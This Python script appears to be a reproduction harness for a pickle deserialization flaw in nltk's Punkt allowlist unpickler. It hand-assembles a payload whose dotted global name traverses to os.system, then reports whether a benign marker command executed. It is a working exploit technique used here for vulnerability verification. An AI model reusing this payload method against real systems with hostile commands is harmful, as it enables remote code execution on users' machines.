#!/usr/bin/env python3
"""Harness for CVE-2026-71513 (nltk AllowlistUnpickler dotted-name traversal RCE).

Usage: harness.py <site_dir> <expected_version> <marker_path> <attempt_id>

Builds a protocol-4 pickle whose STACK_GLOBAL requests module "nltk.tokenize"
(on the Punkt allowlist) with the dotted name "stanford_segmenter.os.system".
pickle's find_class getattr-chains the dotted name, so on nltk<3.10.3 the
module-prefix allowlist passes and os.system executes the attacker command.
The payload is then loaded through the real public data-loading entrypoint
nltk.tokenize.punkt.punkt_pickle_load, which uses AllowlistUnpickler with
allowed_modules=("nltk.tokenize.punkt", "nltk.tokenize").

Exit codes:
  10 = command executed, marker file created (vulnerable)
  11 = UnpicklingError raised, marker absent (fixed/blocked)
  1  = unexpected outcome
"""
import io
import os
import pickle
import sys


def short_uni(s: str) -> bytes:
    b = s.encode("utf-8")
    assert len(b) < 256, "SHORT_BINUNICODE overflow"
    return pickle.SHORT_BINUNICODE + bytes([len(b)]) + b


def main() -> int:
    site_dir, expected_version, marker, attempt_id = sys.argv[1:5]
    sys.path.insert(0, site_dir)
    import nltk

    assert nltk.__version__ == expected_version, (
        f"expected nltk {expected_version}, got {nltk.__version__}"
    )
    print(f"[harness] attempt={attempt_id} nltk={nltk.__version__} file={nltk.__file__}")

    if os.path.exists(marker):
        os.remove(marker)

    token = f"PRUVA_RCE_{attempt_id}"
    cmd = f"echo {token} > {marker}"

    # Protocol-4 pickle equivalent to: REDUCE(os.system, (cmd,))
    # but the GLOBAL names module "nltk.tokenize" (allowlisted) and the
    # dotted name "stanford_segmenter.os.system" (attribute traversal).
    payload = (
        pickle.PROTO
        + bytes([4])
        + short_uni("nltk.tokenize")
        + short_uni("stanford_segmenter.os.system")
        + pickle.STACK_GLOBAL
        + short_uni(cmd)
        + pickle.TUPLE1
        + pickle.REDUCE
        + pickle.STOP
    )
    payload_path = os.path.join(os.path.dirname(marker), f"payload_{attempt_id}.pickle")
    with open(payload_path, "wb") as f:
        f.write(payload)
    print(f"[harness] payload written: {payload_path} ({len(payload)} bytes)")
    print(f"[harness] attacker command: {cmd!r}")

    from nltk.tokenize.punkt import punkt_pickle_load

    blocked = False
    try:
        with open(payload_path, "rb") as f:
            result = punkt_pickle_load(f)
        print(f"[harness] punkt_pickle_load returned: {result!r}")
    except pickle.UnpicklingError as e:
        blocked = True
        print(f"[harness] BLOCKED with UnpicklingError: {e}")

    executed = os.path.exists(marker)
    if executed:
        with open(marker) as f:
            print(f"[harness] MARKER CONTENT: {f.read().strip()}")

    if executed and not blocked:
        print(f"[harness] RESULT: VULNERABLE - attacker command executed (attempt {attempt_id})")
        return 10
    if blocked and not executed:
        print(f"[harness] RESULT: BLOCKED - global rejected before resolution (attempt {attempt_id})")
        return 11
    print(f"[harness] RESULT: UNEXPECTED executed={executed} blocked={blocked}")
    return 1


if __name__ == "__main__":
    sys.exit(main())